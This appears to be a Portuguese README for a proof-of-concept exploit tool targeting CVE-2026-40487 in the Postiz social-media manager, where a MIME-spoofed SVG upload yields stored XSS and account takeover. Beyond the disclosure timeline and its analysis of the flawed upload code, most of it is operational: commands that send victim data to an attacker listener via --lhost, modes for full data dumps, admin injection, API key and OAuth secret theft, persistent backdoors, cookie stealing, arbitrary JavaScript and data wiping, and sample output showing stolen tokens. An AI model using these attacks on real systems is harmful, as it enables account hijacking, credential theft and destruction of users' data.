
Prova de conceito de exploit para CVE-2026-40487, demonstrando upload arbitrário de arquivos via falsificação de MIME que leva a XSS armazenado e tomada de conta no Postiz. Inclui múltiplos modos de ataque para exfiltração de dados, escalonamento de privilégios e persistência.
Descoberto e reportado por: Astaruf
Análise completa: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Entrada GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
O Postiz é uma ferramenta open-source de gerenciamento de mídias sociais com mais de 28 integrações de plataformas (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilizada por mais de 600 instâncias expostas na internet.
Um atacante com privilégios baixos pode enviar um arquivo SVG (ou HTML) malicioso com um cabeçalho Content-Type: image/png falsificado. O servidor aceita o arquivo sem inspecionar seu conteúdo real, preserva a extensão original, e o nginx o serve com o Content-Type derivado dessa extensão (image/svg+xml). Quando uma vítima abre a URL, o JavaScript embutido é executado na origem da aplicação, dando ao atacante capacidades completas de sequestro de sessão, equivalentes à assunção de conta.
A cadeia de ataque:
Atacante envia .svg com Content-Type: image/png
-> Servidor valida apenas o cabeçalho Content-Type (CWE-345)
-> Arquivo salvo em disco com a extensão .svg original (CWE-434)
-> nginx o serve como image/svg+xml
-> Navegador executa o JavaScript embutido (CWE-79)
-> Mesma origem: acesso total à sessão da vítima
O payload de XSS é executado na mesma origem da aplicação. Mesmo que o cookie de autenticação seja HttpOnly, o fetch() com credentials: "include" o anexa automaticamente. O atacante pode:
pos_* que nunca expira e sobrevive a alterações de senha)Três componentes falham de forma independente, criando a cadeia de exploração:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype vem do cabeçalho Content-Type na requisição multipart, que o atacante controla. Não há inspeção de magic bytes, nem uso de bibliotecas como file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrai a extensão do nome de arquivo fornecido pelo cliente. Não há verificação de consistência entre o tipo MIME declarado e a extensão. O servidor também retorna a URL pública completa na resposta, então o atacante obtém o link para enviar à vítima.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
O nginx mapeia .svg para image/svg+xml, .html para text/html. Não há Content-Security-Policy, nem X-Content-Type-Options: nosniff, nem Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Verifique se o alvo é vulnerável
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Exfiltre tudo da vítima
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Crie um backdoor persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Reutilize o token sem credenciais
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Atacante Servidor Postiz Vítima
| | |
|-- 1. Login/Registro -------->| |
|-- 2. Upload SVG malicioso -->| |
|<---- URL do arquivo ---------| |
|-- 3. Envia URL à vítima ---------------------------> |
| |<--- 4. Abre a URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS executa, exfiltra dados ---------|
| Modo | Descrição |
|---|---|
dump-self | Perfil da vítima, informações da org, nível, chave de API |
dump-personal | Nome de exibição, bio, foto de perfil |
dump-integrations | Integrações de mídias sociais conectadas e tokens |
dump-posts | Postagens agendadas e rascunhos (últimos 365 dias) |
dump-team | Membros da equipe, funções e endereços de e-mail |
dump-media | Listagem da biblioteca de mídia |
dump-notifications | Histórico de notificações |
dump-signatures | Assinaturas de postagens |
dump-webhooks | Webhooks configurados e suas URLs |
dump-oauth-app | Credenciais do app OAuth (clientId, secret) |
dump-copilot | Conversas do copiloto de IA |
dump-billing | Informações de cobrança e assinatura |
dump-settings | Configurações de shortlink e notificações |
dump-third-party | Configurações de integrações de terceiros |
dump-autopost | Regras de autopostagem |
dump-sets | Conjuntos de conteúdo |
dump-tags | Tags de postagens |
dump-customers | Lista de clientes |
full-dump | Tudo acima em um único payload |
| Modo | Descrição |
|---|---|
add-admin | Convidar atacante como ADMIN na org da vítima (--attacker-email) |
rotate-key | Rotacionar chave de API da org e exfiltrá-la |
rotate-oauth | Rotacionar secret do app OAuth e exfiltrá-lo |
| Modo | Descrição |
|---|---|
kill-notifications | Desativar todas as notificações por e-mail |
edit-profile | Modificar nome e bio da vítima (--edit-name, --edit-bio) |
wipe-signatures | Excluir todas as assinaturas de postagens |
wipe-webhooks | Excluir todos os webhooks |
wipe-tags | Excluir todas as tags |
wipe-sets | Excluir todos os conjuntos de conteúdo |
wipe-autopost | Excluir todas as regras de autopostagem |
logout-victim | Forçar logout da vítima |
delete-oauth-app | Excluir o aplicativo OAuth da vítima |
| Modo | Descrição |
|---|---|
create-oauth-app | Criar app OAuth, aprovação automática, exfiltrar token pos_* persistente (--oauth-redirect) |
steal-cookie | Roubar JWT de autenticação via document.cookie (quando NOT_SECURED=true) |
| Modo | Descrição |
|---|---|
api-call | Chamada de API autenticada arbitrária (--api-method, --api-path, --api-body) |
custom | Executar JavaScript arbitrário (--custom-js) |
| Opção | Descrição |
|---|---|
--check | Verificar se o alvo é vulnerável (sem executar ataque) |
--register | Registrar nova conta antes do login |
-t / --token | Usar chave de API ou token pos_* em vez de credenciais |
--format html | Usar payload HTML em vez de SVG |
--proxy | Roteiar tráfego por proxy HTTP/SOCKS (ex.: Burp Suite) |
-o / --output | Salvar dados roubados em arquivo JSON |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — XSS Armazenado via Upload de Arquivo com MIME Falsificado
[*] Fazendo login como [email protected] ...
[+] Autenticado.
[*] Gerando payload: Exfiltrar tudo em um único payload
[*] Enviando .svg malicioso com Content-Type: image/png ...
[+] Upload bem-sucedido.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Iniciando listener de exfiltração em 0.0.0.0:8888 ...
=================================================================
Envie esta URL para a vítima:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] Aguardando a vítima abrir o link ...
[+] Dados recebidos @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] Dados recebidos @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Dados recebidos @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
A versão 2.21.6 introduziu três mudanças:
file-type para inspecionar o conteúdo real do arquivoimage/*)| Data | Evento |
|---|---|
| 2026-04-10 | Vulnerabilidade descoberta durante revisão de código-fonte |
| 2026-04-10 | Reportada via GitHub Security Advisory (GHSA) |
| 2026-04-10 | Desenvolvedores reconheceram e solicitaram esclarecimentos |
| 2026-04-10 | Cenários de ataque detalhados e dados do Shodan fornecidos |
| 2026-04-11 | Disputa de CVSS submetida com evidências |
| 2026-04-13 | Correção lançada na v2.21.6 |
| 2026-04-14 | CVE-2026-40487 atribuído |
| 2026-04-15 | Divulgação pública |
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.